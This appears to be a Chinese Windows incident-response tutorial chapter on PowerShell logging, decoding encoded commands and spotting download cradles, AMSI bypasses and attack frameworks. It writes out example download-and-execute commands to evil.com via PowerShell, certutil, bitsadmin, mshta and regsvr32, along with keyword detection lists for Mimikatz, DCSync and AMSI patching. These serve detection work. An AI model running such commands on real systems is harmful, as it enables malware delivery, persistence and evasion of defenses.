1. 1. PowerShell日志与脚本分析
  2. 2. 一、PowerShell三大日志类型总览
    1. 2.1. 1.1 Module Logging (Event ID 4103)
      1. 2.1.1. 启用方式 - GPO
      2. 2.1.2. 启用方式 - 注册表
      3. 2.1.3. 4103事件关键字段
    2. 2.2. 1.2 Script Block Logging (Event ID 4104) ★最重要
      1. 2.2.1. 启用方式 - GPO
      2. 2.2.2. 启用方式 - 注册表
      3. 2.2.3. Windows 10+自动记录可疑脚本块
      4. 2.2.4. 4104事件关键字段
    3. 2.3. 1.3 Transcription Logging (PowerShell Transcript)
      1. 2.3.1. 启用方式 - GPO
      2. 2.3.2. 启用方式 - 注册表
      3. 2.3.3. Transcript文件分析
    4. 2.4. 1.4 三种日志对比表
  3. 3. 二、Event ID 4104 深度分析
    1. 3.1. 2.1 大规模提取4104事件
    2. 3.2. 2.2 可疑脚本块快速筛选
    3. 3.3. 2.3 关联4104与进程信息
  4. 4. 三、Encoded Commands检测与解码
    1. 4.1. 3.1 -EncodedCommand / -enc 检测
    2. 4.2. 3.2 Base64解码技术
    3. 4.3. 3.3 双重/多重编码检测
  5. 5. 四、Download Cradle模式识别
    1. 5.1. 4.1 PowerShell原生下载方式
      1. 5.1.1. Net.WebClient系列 (最常见)
      2. 5.1.2. Invoke-WebRequest / Invoke-RestMethod (PS3+)
      3. 5.1.3. System.Net.HttpClient (.NET 4.5+)
      4. 5.1.4. XML/COM对象变体
    2. 5.2. 4.2 LOLBins下载方式
      1. 5.2.1. certutil
      2. 5.2.2. bitsadmin
      3. 5.2.3. mshta / msiexec / rundll32 / regsvr32
    3. 5.3. 4.3 下载行为综合检测
  6. 6. 五、AMSI绕过检测
    1. 6.1. 5.1 AMSI (Anti-Malware Scan Interface) 概述
    2. 6.2. 5.2 常见AMSI绕过手法与检测
      1. 6.2.1. amsiInitFailed 篡改
      2. 6.2.2. AmsiScanBuffer Patch
      3. 6.2.3. CLR Hooking / 第三方工具
    3. 6.3. 5.3 AMSI事件日志
  7. 7. 六、Constrained Language Mode (CLM) 检测
    1. 7.1. 6.1 CLM概述
    2. 7.2. 6.2 检测CLM被绕过
  8. 8. 七、常见攻击框架识别
    1. 8.1. 7.1 PowerSploit / PowerShell Empire
    2. 8.2. 7.2 Cobalt Strike PowerShell Stager
    3. 8.3. 7.3 其他框架
  9. 9. 八、反混淆(Deobfuscation)技术
    1. 9.1. 8.1 常见混淆手法
    2. 9.2. 8.2 为什么4104能对抗混淆
    3. 9.3. 8.3 手动反混淆工具与技巧
      1. 9.3.1. PSDecode (自动反混淆)
      2. 9.3.2. 安全的手动反混淆
      3. 9.3.3. Revoke-Obfuscation (Daniel Bohannon)
      4. 9.3.4. CyberChef离线分析
    4. 9.4. 8.4 Invoke-Obfuscation检测特征
  10. 10. 九、实战分析流程
    1. 10.1. 9.1 完整排查SOP
    2. 10.2. 9.2 快速分诊脚本
    3. 10.3. 9.3 离线日志分析(evtx文件)
  11. 11. 十、加固建议

Windows应急响应 - 10 PowerShell日志与脚本分析

PowerShell日志与脚本分析

攻击者滥用PowerShell的频率极高——从初始投递(download cradle)到后渗透(Empire/CobaltStrike)几乎全链路依赖PS

本章覆盖三类日志的开启与分析、编码命令解码、常见攻击框架识别、AMSI绕过检测与反混淆技术

交叉参考: 03-事件日志分析 | 09-历史记录与时间线分析

一、PowerShell三大日志类型总览

1.1 Module Logging (Event ID 4103)

记录模块级别的pipeline执行详情,包括参数绑定、输出对象

适合追踪”执行了哪些cmdlet、传了什么参数”

日志路径: Microsoft-Windows-PowerShell/Operational

单条事件可能很大(包含完整参数),高频环境下日志量剧增

启用方式 - GPO

路径: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on Module Logging

Module Names填 * 表示记录所有模块

启用方式 - 注册表

1
2
3
4
5
6
# 启用Module Logging
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
# 记录所有模块
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Name "*" -Value "*"

4103事件关键字段

Payload — 完整的pipeline执行内容

ContextInfo — 包含Host Application(启动命令行)、User、RunspaceId

CommandInvocation — 具体调用的cmdlet名称

示例查询:

1
2
3
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4103} |
Where-Object { $_.Message -match 'Net\.WebClient|Invoke-Expression|IEX' } |
Select-Object TimeCreated, Message | Format-List

1.2 Script Block Logging (Event ID 4104) ★最重要

记录PowerShell引擎实际编译执行的脚本块(Script Block)原文

即使攻击者用-EncodedCommand、多层混淆、变量拼接,4104记录的是解混淆后的最终代码

这是PS日志中最有价值的单一数据源

日志路径: Microsoft-Windows-PowerShell/Operational

启用方式 - GPO

路径: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging

勾选 “Log script block invocation start / stop events” 可额外记录执行时间

启用方式 - 注册表

1
2
3
4
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# 可选: 记录调用开始/停止事件
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockInvocationLogging" -Value 1

Windows 10+自动记录可疑脚本块

即使未手动启用Script Block Logging,Windows 10/Server 2016+会自动记录被判定为”可疑”的脚本块

判定关键词包括: AdjustTokenPrivileges, IMAGE_NT_OPTIONAL_HDR64_MAGIC, VirtualAlloc, WriteProcessMemory, CreateRemoteThread, ReadProcessMemory

但不应依赖此机制——务必显式全量启用

4104事件关键字段

ScriptBlockText完整脚本块内容(最关键)

ScriptBlockId — 脚本块的唯一GUID,大脚本会分片,同一ID的多条事件需合并

MessageNumber / MessageTotal — 分片序号/总数

Path — 脚本文件路径(如果从文件执行); 交互式命令此字段为空

Level — Warning级别通常表示系统自动判定为可疑

1.3 Transcription Logging (PowerShell Transcript)

将PowerShell会话的完整输入输出记录到文本文件

包含命令输出结果,这是4103/4104不记录的

缺点: 纯文本文件,易被攻击者删除; 不经过Event Log

启用方式 - GPO

路径: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Transcription

设置输出目录(建议UNC路径到远程共享,防本地删除)

勾选 “Include invocation headers” 记录时间戳

启用方式 - 注册表

1
2
3
4
5
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableInvocationHeader" -Value 1
# 输出目录(建议远程共享)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "OutputDirectory" -Value "\\FileServer\PSTranscripts$"

Transcript文件分析

默认路径: $env:USERPROFILE\Documents\PowerShell_transcript.<ComputerName>.<Random>.<Timestamp>.txt

批量搜索可疑内容:

1
2
3
4
# 搜索所有transcript文件中的可疑关键词
Get-ChildItem -Path "C:\Users\*\Documents\PowerShell_transcript*" -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "Invoke-Mimikatz|Net\.WebClient|DownloadString|Invoke-Expression|IEX|bypass|AmsiUtils" |
Select-Object Path, LineNumber, Line

1.4 三种日志对比表

特性 Module (4103) Script Block (4104) Transcription
记录位置 Event Log Event Log 文本文件
记录内容 cmdlet调用+参数 脚本块原文 输入+输出
反混淆 部分 完全(引擎层) 仅记录原始输入
包含输出 部分(对象)
抗删除 转发后可 转发后可 弱(文件)
推荐级别 必开 必开 建议开

二、Event ID 4104 深度分析

2.1 大规模提取4104事件

1
2
3
4
5
6
7
# 提取所有4104事件到CSV
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Select-Object TimeCreated,
@{N='ScriptBlockId';E={$_.Properties[3].Value}},
@{N='ScriptBlockText';E={$_.Properties[2].Value}},
@{N='Path';E={$_.Properties[4].Value}} |
Export-Csv -Path "C:\IR\ps_4104_all.csv" -NoTypeInformation -Encoding UTF8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 合并分片的脚本块(大脚本会被切分)
$events = Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104}
$scriptBlocks = @{}
foreach ($evt in $events) {
$id = $evt.Properties[3].Value # ScriptBlockId
$num = $evt.Properties[0].Value # MessageNumber
$total = $evt.Properties[1].Value # MessageTotal
$text = $evt.Properties[2].Value # ScriptBlockText
if (-not $scriptBlocks.ContainsKey($id)) {
$scriptBlocks[$id] = @{ Total=$total; Parts=@{}; Time=$evt.TimeCreated }
}
$scriptBlocks[$id].Parts[$num] = $text
}
# 输出完整脚本块
foreach ($sb in $scriptBlocks.GetEnumerator()) {
$fullScript = ($sb.Value.Parts.GetEnumerator() | Sort-Object Name | ForEach-Object { $_.Value }) -join ''
[PSCustomObject]@{
ScriptBlockId = $sb.Key
Time = $sb.Value.Time
FullScript = $fullScript
}
} | Export-Csv "C:\IR\ps_4104_merged.csv" -NoTypeInformation

2.2 可疑脚本块快速筛选

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 高危关键词匹配
$suspiciousPatterns = @(
'Invoke-Mimikatz', 'Invoke-Kerberoast', 'Invoke-SMBExec',
'Get-GPPPassword', 'Invoke-DCSync', 'Invoke-PowerShellTcp',
'Net\.WebClient', 'DownloadString', 'DownloadFile', 'DownloadData',
'Invoke-Expression', 'IEX\s*\(', 'Invoke-Command.*-Comp',
'FromBase64String', 'EncodedCommand', '-enc\s',
'VirtualAlloc', 'CreateThread', 'memset',
'AmsiUtils', 'amsiInitFailed', 'AmsiScanBuffer',
'Reflection\.Assembly', 'Load\(.*byte', 'DllImport',
'Invoke-Shellcode', 'Invoke-ReflectivePEInjection',
'New-Object.*IO\.MemoryStream', 'IO\.Compression',
'Set-MpPreference.*-Disable', 'Add-MpPreference.*-ExclusionPath'
)
$pattern = ($suspiciousPatterns -join '|')
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object { $_.Properties[2].Value -match $pattern } |
ForEach-Object {
[PSCustomObject]@{
Time = $_.TimeCreated
ScriptBlockId = $_.Properties[3].Value
MatchedContent = ($_.Properties[2].Value).Substring(0, [Math]::Min(500, $_.Properties[2].Value.Length))
}
} | Format-List

2.3 关联4104与进程信息

4104事件本身不直接包含PID,需要通过以下方式关联:

方法1: 同一时间窗口的4688(进程创建)事件

方法2: Sysmon Event ID 1 中的powershell.exe进程

方法3: 4103事件的ContextInfo字段包含Host Application

1
2
3
4
5
6
7
8
9
10
# 从4103获取Host Application(即完整命令行)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4103} |
ForEach-Object {
if ($_.Message -match 'Host Application\s*=\s*(.+)') {
[PSCustomObject]@{
Time = $_.TimeCreated
HostApplication = $Matches[1].Trim()
}
}
} | Sort-Object Time | Select-Object -Unique HostApplication | Format-List

三、Encoded Commands检测与解码

3.1 -EncodedCommand / -enc 检测

PowerShell支持 -EncodedCommand 参数(可缩写为 -enc, -en, -e),接受Base64编码的UTF-16LE字符串

攻击者常用此方式绕过简单的命令行检测

1
2
3
4
5
# 从Security日志4688中搜索encoded command
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} |
Where-Object { $_.Properties[8].Value -match '(?i)-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{20,}' } |
Select-Object TimeCreated, @{N='CommandLine';E={$_.Properties[8].Value}} |
Format-List
1
2
3
4
5
# 从Sysmon日志搜索
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
Where-Object { $_.Properties[10].Value -match '(?i)-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{20,}' } |
Select-Object TimeCreated, @{N='CommandLine';E={$_.Properties[10].Value}} |
Format-List

3.2 Base64解码技术

1
2
3
4
# 手动解码Base64 encoded command
$encoded = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxAC8AcABhAHkAbABvAGEAZAAnACkA"
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
# 输出: IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/payload')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 批量从事件日志中提取并解码
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} |
ForEach-Object {
$cmdline = $_.Properties[8].Value
if ($cmdline -match '(?i)-e(nc|ncodedcommand)?\s+([A-Za-z0-9+/=]{20,})') {
try {
$decoded = [System.Text.Encoding]::Unicode.GetString(
[System.Convert]::FromBase64String($Matches[2]))
[PSCustomObject]@{
Time = $_.TimeCreated
Encoded = $Matches[2].Substring(0, [Math]::Min(80, $Matches[2].Length)) + "..."
Decoded = $decoded
}
} catch {}
}
} | Format-List

3.3 双重/多重编码检测

攻击者可能对payload进行多层编码: Base64→Gzip→Base64

典型模式:

1
2
3
4
5
6
7
# 攻击者常见的Gzip+Base64组合(需要两层解码)
# 原始命令类似:
# powershell -enc <base64>
# 解码后得到:
# IEX(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream(
# (New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sI...')))
# ,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
1
2
3
4
5
6
7
8
9
10
# 解码Gzip+Base64
function Decode-GzipBase64 {
param([string]$Base64String)
$bytes = [Convert]::FromBase64String($Base64String)
$ms = New-Object IO.MemoryStream(,$bytes)
$gz = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gz)
$sr.ReadToEnd()
$sr.Close()
}

四、Download Cradle模式识别

4.1 PowerShell原生下载方式

Net.WebClient系列 (最常见)

1
2
3
4
5
6
7
8
9
10
11
12
# 模式1: DownloadString + IEX (内存执行,无文件落地)
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')

# 模式2: DownloadFile (文件落地)
(New-Object Net.WebClient).DownloadFile('http://evil.com/mal.exe','C:\Users\Public\mal.exe')

# 模式3: DownloadData + Assembly.Load (内存加载.NET程序集)
[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://evil.com/payload.dll'))

# 模式4: 异步下载 (DownloadStringAsync)
$wc = New-Object Net.WebClient
$wc.DownloadStringAsync('http://evil.com/payload.ps1')

Invoke-WebRequest / Invoke-RestMethod (PS3+)

1
2
3
4
5
6
7
8
# IWR变体
IEX (Invoke-WebRequest -Uri 'http://evil.com/payload.ps1' -UseBasicParsing).Content

# 缩写变体
IEX (iwr 'http://evil.com/payload.ps1' -useb).Content

# Invoke-RestMethod
IEX (Invoke-RestMethod 'http://evil.com/payload.ps1')

System.Net.HttpClient (.NET 4.5+)

1
2
3
$client = [System.Net.Http.HttpClient]::new()
$task = $client.GetStringAsync('http://evil.com/payload.ps1')
IEX $task.Result

XML/COM对象变体

1
2
3
4
5
6
7
8
9
10
11
# XMLHTTP (COM对象,可绕过某些PS检测)
$x = New-Object -ComObject Msxml2.XMLHTTP
$x.Open('GET','http://evil.com/payload.ps1',$false)
$x.Send()
IEX $x.responseText

# WinHTTP
$h = New-Object -ComObject WinHttp.WinHttpRequest.5.1
$h.Open('GET','http://evil.com/payload.ps1',$false)
$h.Send()
IEX $h.ResponseText

4.2 LOLBins下载方式

certutil

1
2
3
4
5
:: 下载文件
certutil -urlcache -split -f http://evil.com/mal.exe C:\Users\Public\mal.exe
:: 下载并解码Base64
certutil -urlcache -split -f http://evil.com/encoded.txt C:\temp\enc.txt
certutil -decode C:\temp\enc.txt C:\temp\mal.exe

检测:

1
2
3
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} |
Where-Object { $_.Properties[8].Value -match 'certutil.*(-urlcache|-decode)' } |
Select-Object TimeCreated, @{N='Cmd';E={$_.Properties[8].Value}}

bitsadmin

1
2
3
4
5
6
7
:: BITS传输下载
bitsadmin /transfer myJob /download /priority high http://evil.com/mal.exe C:\Users\Public\mal.exe
:: 创建持久化BITS任务
bitsadmin /create backdoor
bitsadmin /addfile backdoor http://evil.com/mal.exe C:\Users\Public\mal.exe
bitsadmin /SetNotifyCmdLine backdoor C:\Users\Public\mal.exe NULL
bitsadmin /resume backdoor

检测BITS异常任务:

1
2
3
4
5
6
7
8
9
# 列出所有BITS任务
Get-BitsTransfer -AllUsers | Select-Object DisplayName, JobState, TransferType,
@{N='RemoteURL';E={$_.FileList.RemoteName}},
@{N='LocalFile';E={$_.FileList.LocalName}} | Format-List

# 事件日志: Microsoft-Windows-Bits-Client/Operational
Get-WinEvent -LogName 'Microsoft-Windows-Bits-Client/Operational' |
Where-Object { $_.Message -match 'http|ftp' } |
Select-Object TimeCreated, Message -First 50

mshta / msiexec / rundll32 / regsvr32

1
2
3
4
5
6
7
8
9
10
11
:: mshta执行远程HTA(含VBScript/JScript)
mshta http://evil.com/payload.hta

:: msiexec安装远程MSI
msiexec /q /i http://evil.com/mal.msi

:: rundll32加载远程DLL (通过SMB/WebDAV)
rundll32 \\evil.com\share\mal.dll,EntryPoint

:: regsvr32 Squiblydoo (AppLocker bypass)
regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll

4.3 下载行为综合检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 综合检测下载cradle(4688 + Sysmon ID 1)
$downloadPatterns = @(
'DownloadString', 'DownloadFile', 'DownloadData',
'Invoke-WebRequest', 'Invoke-RestMethod', 'iwr ', 'irm ',
'Net\.WebClient', 'HttpClient', 'WebRequest::Create',
'Start-BitsTransfer', 'Msxml2\.XMLHTTP', 'WinHttp',
'certutil.*-urlcache', 'bitsadmin.*\/transfer',
'mshta\s+http', 'msiexec.*\/i\s+http',
'regsvr32.*\/i:http', 'cscript.*http', 'wscript.*http'
)
$regex = ($downloadPatterns -join '|')

# 查Security 4688
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} -MaxEvents 50000 |
Where-Object { $_.Properties[8].Value -match $regex } |
Select-Object TimeCreated,
@{N='User';E={$_.Properties[1].Value}},
@{N='Process';E={$_.Properties[5].Value}},
@{N='CommandLine';E={$_.Properties[8].Value}} |
Export-Csv "C:\IR\download_cradles.csv" -NoTypeInformation

五、AMSI绕过检测

5.1 AMSI (Anti-Malware Scan Interface) 概述

Windows 10+内置,让AV引擎扫描脚本引擎(PS, VBScript, JScript, VBA)传递的内容

攻击者必须绕过AMSI才能在内存中执行恶意PS脚本

绕过AMSI通常是攻击链的第一步,检测到AMSI bypass = 确认恶意活动

5.2 常见AMSI绕过手法与检测

amsiInitFailed 篡改

原理: 将 amsiContext 设为空导致初始化失败,后续扫描全部跳过

4104中搜索:

1
2
3
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object { $_.Properties[2].Value -match '(?i)amsiInitFailed|AmsiUtils|amsiContext' } |
Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value.Substring(0,300)}}

AmsiScanBuffer Patch

原理: 使用反射获取 AmsiScanBuffer 函数地址,patch入口使其直接返回 AMSI_RESULT_CLEAN

检测关键词: AmsiScanBuffer, VirtualProtect, Marshal.Copy, amsi.dll, GetProcAddress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$amsiBypassKeywords = @(
'AmsiScanBuffer', 'AmsiUtils', 'amsiInitFailed', 'amsiContext',
'VirtualProtect.*amsi', 'Marshal\.Copy.*amsi',
'Reflection.*amsi', 'GetProcAddress.*amsi',
'System\.Management\.Automation\.AmsiUtils',
'SetValue.*NonPublic.*amsiInitFailed'
)
$pattern = ($amsiBypassKeywords -join '|')
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object { $_.Properties[2].Value -match $pattern } |
ForEach-Object {
Write-Host "=== AMSI Bypass Detected at $($_.TimeCreated) ===" -ForegroundColor Red
Write-Host $_.Properties[2].Value.Substring(0, [Math]::Min(500, $_.Properties[2].Value.Length))
Write-Host ""
}

CLR Hooking / 第三方工具

工具如 SharpBlock, ThreatCheck 帮助攻击者定位AMSI触发点并自动patch

检测: Sysmon Event ID 7 (Image Load) 监控非标准DLL注入到PowerShell进程

5.3 AMSI事件日志

Windows Defender记录AMSI检测:

1
2
3
4
5
6
# Windows Defender AMSI检测事件
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1116} |
Where-Object { $_.Message -match 'AMSI' } |
Select-Object TimeCreated, Message -First 20 | Format-List

# Event ID 1116 = Detection, 1117 = Action taken

六、Constrained Language Mode (CLM) 检测

6.1 CLM概述

PowerShell语言模式: FullLanguage (默认), ConstrainedLanguage, RestrictedLanguage, NoLanguage

CLM限制: 禁止.NET类型直接调用、COM对象、Add-Type、反射等——大幅削弱攻击能力

通常通过AppLocker或WDAC(Windows Defender Application Control)策略自动启用

检查当前模式: $ExecutionContext.SessionState.LanguageMode

6.2 检测CLM被绕过

攻击者绕过CLM的方式:

降级攻击: 调用PowerShell v2 (powershell -version 2), v2不支持CLM

使用未受限的PowerShell runspace

通过自定义.NET host加载PS引擎

1
2
3
4
5
6
7
8
9
10
11
# 检测PowerShell v2降级攻击
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} |
Where-Object { $_.Properties[8].Value -match 'powershell.*-version\s+2' -or
$_.Properties[8].Value -match 'powershell.*-v\s+2' } |
Select-Object TimeCreated, @{N='CommandLine';E={$_.Properties[8].Value}}

# 检查PS v2是否安装(应当移除)
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

# 移除PS v2 (加固措施)
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root -NoRestart
1
2
3
4
5
6
# 在4104日志中搜索CLM绕过指标
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object {
$script = $_.Properties[2].Value
$script -match 'LanguageMode' -and $script -match 'FullLanguage'
} | Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value.Substring(0,300)}}

七、常见攻击框架识别

7.1 PowerSploit / PowerShell Empire

PowerSploit常见函数名(4104中搜索):

Invoke-Mimikatz, Invoke-TokenManipulation, Invoke-ReflectivePEInjection

Invoke-Shellcode, Invoke-DllInjection, Invoke-WMICommand

Get-GPPPassword, Get-Keystrokes, Get-TimedScreenshot

PowerView: Get-NetDomain, Get-NetUser, Get-NetComputer, Get-DomainController

Invoke-ShareFinder, Invoke-FileFinder, Find-LocalAdminAccess

Empire特征:

stager中常见: $wc=New-Object Net.WebClient;$wc.Proxy...;IEX $wc.DownloadString(...)

通信使用cookie和User-Agent伪装

函数名可能被混淆,但4104会记录解混淆后的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$frameworkPatterns = @(
'Invoke-Mimikatz', 'Invoke-Kerberoast', 'Invoke-SMBExec',
'Invoke-DCSync', 'Get-GPPPassword', 'Invoke-PowerShellTcp',
'Invoke-ReflectivePEInjection', 'Invoke-Shellcode',
'Invoke-TokenManipulation', 'Get-Keystrokes',
'PowerView', 'Get-NetDomain', 'Find-LocalAdminAccess',
'Invoke-ShareFinder', 'Invoke-Portscan', 'Invoke-BloodHound',
'Get-NetComputer.*-Unconstrained'
)
$regex = ($frameworkPatterns -join '|')
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object { $_.Properties[2].Value -match $regex } |
Select-Object TimeCreated, @{N='Matched';E={
foreach($p in $frameworkPatterns) {
if($_.Properties[2].Value -match $p) { $p }
}
}} | Format-Table -AutoSize

7.2 Cobalt Strike PowerShell Stager

典型stager特征(4104中可见):

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(...)) + Gzip解压

Invoke-Expression / IEX 执行解压后的beacon

HTTP(S)通信,User-Agent伪装为合法浏览器

Beacon PowerShell命令特征:

powershell -nop -w hidden -encodedcommand ...

powerpick 使用unmanaged PowerShell (无powershell.exe进程!)

jump psexec / jump winrm 横向移动

1
2
3
4
5
6
7
8
9
10
# Cobalt Strike stager指标检测
$csPatterns = @(
'ServerCertificateValidationCallback',
'IO\.MemoryStream.*FromBase64String.*GzipStream',
'-nop\s+-w\s+hidden.*-enc',
'beacon\.dll', 'beacon\.exe',
'Invoke-SMBExec', 'Invoke-WMIExec',
'\$DoIt\s*=', 'func_get_proc_address',
'func_get_delegate_type'
)

7.3 其他框架

Covenant/Grunt: GruntHTTP, GruntSMB, SharpSploit .NET程序集引用

Sliver: 通常不依赖PowerShell,但可通过PS执行stager

Nishang: Invoke-PowerShellTcp, Invoke-PowerShellUdp, Invoke-PsGcat

PoshC2: posh-server, dropper中常见随机变量名和Base64

八、反混淆(Deobfuscation)技术

8.1 常见混淆手法

字符串拼接: ('Inv'+'oke'+'-Exp'+'ression')Invoke-Expression

格式化字符串: ("{2}{0}{1}" -f 'ke-Ex','pression','Invo')Invoke-Expression

字符替换: 'Invoke-Expression'.Replace('x','x') (可替换为不同字符)

Tick混淆: `I`n`v`o`k`e`-`E`x`p`r`e`s`s`i`o`n (反引号在PS中是转义字符但字母前无效)

变量替换: $a='IEX';$b='(New-Object Net.WebClient).DownloadString(...)';.($a) $b

ScriptBlock调用: & ([scriptblock]::Create('IEX ...'))

反转字符串: $r = 'noisserp';(-join $r[$r.Length..0])

编码: Base64, XOR, AES加密payload

8.2 为什么4104能对抗混淆

PowerShell引擎在编译执行脚本块之前记录4104

这意味着:

字符串拼接会被解析为最终字符串

变量会被展开

-EncodedCommand 会被解码

Gzip解压后的内容会被记录

但注意: 如果攻击者使用 Add-Type 编译C#代码或加载.NET程序集,C#代码本身可能不会完整出现在4104中

8.3 手动反混淆工具与技巧

PSDecode (自动反混淆)

1
2
3
4
# 安装PSDecode模块
Install-Module -Name PSDecode -Force
# 对混淆脚本进行反混淆
PSDecode -dump -verbose .\obfuscated_script.ps1

安全的手动反混淆

原则: 绝对不要在调查机器上直接运行可疑脚本

1
2
3
4
5
6
7
# 安全沙箱中替换执行函数为输出函数
# 将IEX替换为Write-Output,观察最终payload
# 原始混淆代码(示例):
# $a = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('...')); IEX $a

# 替换后:
# $a = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('...')); Write-Output $a

Revoke-Obfuscation (Daniel Bohannon)

专门检测Invoke-Obfuscation生成的混淆脚本

使用AST(抽象语法树)分析和字符频率统计

1
2
3
4
# 使用Revoke-Obfuscation检测
Import-Module Revoke-Obfuscation
$scriptBlock = Get-Content .\suspicious.ps1 -Raw
Measure-RvoObfuscation -ScriptBlock $scriptBlock

CyberChef离线分析

适合多层编码的解码: Base64 → Gunzip → Base64 → XOR

Recipe链式操作,可视化每一层解码结果

推荐在隔离环境中使用

8.4 Invoke-Obfuscation检测特征

Daniel Bohannon的Invoke-Obfuscation产生的混淆代码有统计特征:

反引号(tick)密度异常高

字符串拼接/格式化运算符异常密集

变量名随机化(长随机字符串)

圆括号嵌套层数异常深

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 简单的混淆评分(基于字符特征)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
ForEach-Object {
$text = $_.Properties[2].Value
if ($text.Length -gt 100) {
$tickCount = ([regex]::Matches($text, '`')).Count
$concatCount = ([regex]::Matches($text, "'\s*\+\s*'")).Count
$formatCount = ([regex]::Matches($text, '"\s*-f\s')).Count
$score = $tickCount + ($concatCount * 2) + ($formatCount * 3)
if ($score -gt 10) {
[PSCustomObject]@{
Time = $_.TimeCreated
Length = $text.Length
ObfScore = $score
Preview = $text.Substring(0, [Math]::Min(200, $text.Length))
}
}
}
} | Sort-Object ObfScore -Descending | Select-Object -First 20

九、实战分析流程

9.1 完整排查SOP

Step 1: 确认三大日志是否启用

1
2
3
4
5
6
# 检查Module Logging
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -ErrorAction SilentlyContinue
# 检查Script Block Logging
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -ErrorAction SilentlyContinue
# 检查Transcription
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -ErrorAction SilentlyContinue

Step 2: 导出所有4104事件并合并分片脚本块

Step 3: 关键词扫描(download cradle, AMSI bypass, 框架函数名)

Step 4: 对匹配项进行时间线排序,确定攻击顺序

